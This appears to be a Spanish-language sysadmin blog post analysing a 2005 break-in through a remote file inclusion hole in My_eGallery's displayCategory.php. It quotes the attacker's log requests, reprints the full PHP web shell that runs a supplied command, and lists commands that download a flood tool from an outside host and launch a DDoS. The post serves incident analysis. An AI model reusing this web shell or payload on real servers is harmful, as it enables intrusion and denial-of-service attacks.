Esta mañana estaba trabajando normalmente cuando noté que el servidor estaba lento. Me conecté por ssh y encontré algunas sorpresas inesperadas y nada agradables.
Lo primero que pensé era que de alguna página estaban bajando muchas cosas y por eso andaba lento. Pero no, corrà top y vi que habÃa un proceso llamado VadimII. De inmediato lo maté y todo volvió a la normalidad.
Me puse a buscar cosas llamadas 'vadim' y encontré el programa responsable en /var/tmp. Cabe mencionar que el proceso pertenecÃa a nobody. Por tanto el servidor todavÃa no era pwn3d.
Revisé los logs para ver quién habÃa ejecutado el programa (nobody corresponde al user que usa apache server y php) y encontré lo siguiente:
<SomeSiteInMyServer>:82.126.143.140 - - [25/Feb/2005:09:31:27 -0800] "GET /home/modules/My_eGallery/public/displayCategory.php?basepath=http://haxing.net/php.txt?&cmd=cd%20/var/tmp;killall%20-9%20vadimII HTTP/1.1" 200 980 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
<SomeSiteInMyServer>:82.126.143.140 - - [25/Feb/2005:10:13:15 -0800] "GET /home/modules/My_eGallery/public/displayCategory.php?basepath=http://haxing.net/php.txt?&cmd=cd%20/var/tmp;wget%20haxing.net/fld.tgz;tar%20xzvf%20fld.tgz;cd%20flood/bin;./vadimII%2081.169.158.154%2053%2010%200 HTTP/1.1" 200 3874 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
Asà que suspendà <SomeSiteInMyServer> para evitar que el suceso se vuelva a repetir. Ahora la parte divertida. Quién lo hizo y qué fue lo que hizo?
¿Qué fue lo que pasó?
Cierto usuario malintencionado, que desde ahora identificaremos como '82.126.143.140' ejecutó código malicioso aprovechando cierta vulnerabilidad en My_eGallery.
El exploit funciona al mandar a displayCategory.php los siguientes argumentos:
- basepath=http://haxing.net/php.txt?
- cmd=cd%20/var/tmp;killall%20-9%20vadimII
El primero manda a displayCategory.php una variable llamada $basepath con el valor http://haxing.net/php.txt? El cÃdigo en displayCategory.php está mal desde la segunda lÃnea.
include ("$basepath/public/imageFunctions.php");
Este URL se traduce a http://haxing.net/php.txt?/public/imageFunctions.php Como todo lo que está después de '?' es un argumento que no se toma en cuenta, siempre es regreado php.txt
php.txt
<br><font face="verdana" size="2"><center><b>CMD</b> - System
Command</font><br><font face="verdana" size="1">Script ini di copy dengan pemberitahuan kepada pengguna sebelumnya.... </font><br><br></center><font
face="Verdana" size="1"></center><br>
<b>#</b> CMD PHP INJECTIONS: <br>
<b>#</b> Edit by : <b>#WestBorneo Crew</b><br>
<br>
<br>
<hr color="black" width=751px height=115px>
<br>
<pre><font face="Verdana" size="1">
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<",
"<",
$output));
?>
</font></pre>
<br>
<hr color="black" width=751px height=115px>
<br>
<font face="Verdana" size="1"><b># www.setrom.da.ru</b><br><b>@
</b>SeTRoM<br><b>#
</b>
--=="#westborneo The Dream Team" ==--
Aquà la lÃnea interesante es system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp"); que ejecuta lo que le mandamos en $cmd.
Por suerte los compiladores están desactivados para los usuarios, por lo que no pudo compilar un root kit. Pero ejecutó vadimII que es un programa para realizar DDoS. En este caso a 81.169.158.154.
Los comandos de la segunda petición son los siguientes:
cd /var/tmp;
wget haxing.net/fld.tgz;
tar xzvf fld.tgz;
cd flood/bin;
./vadimII 81.169.158.154 53 10 0
Haré una auditorÃa más a fondo para ver qué tan comprometido está mi servidor y ver si tiene relación con ataques anteriores.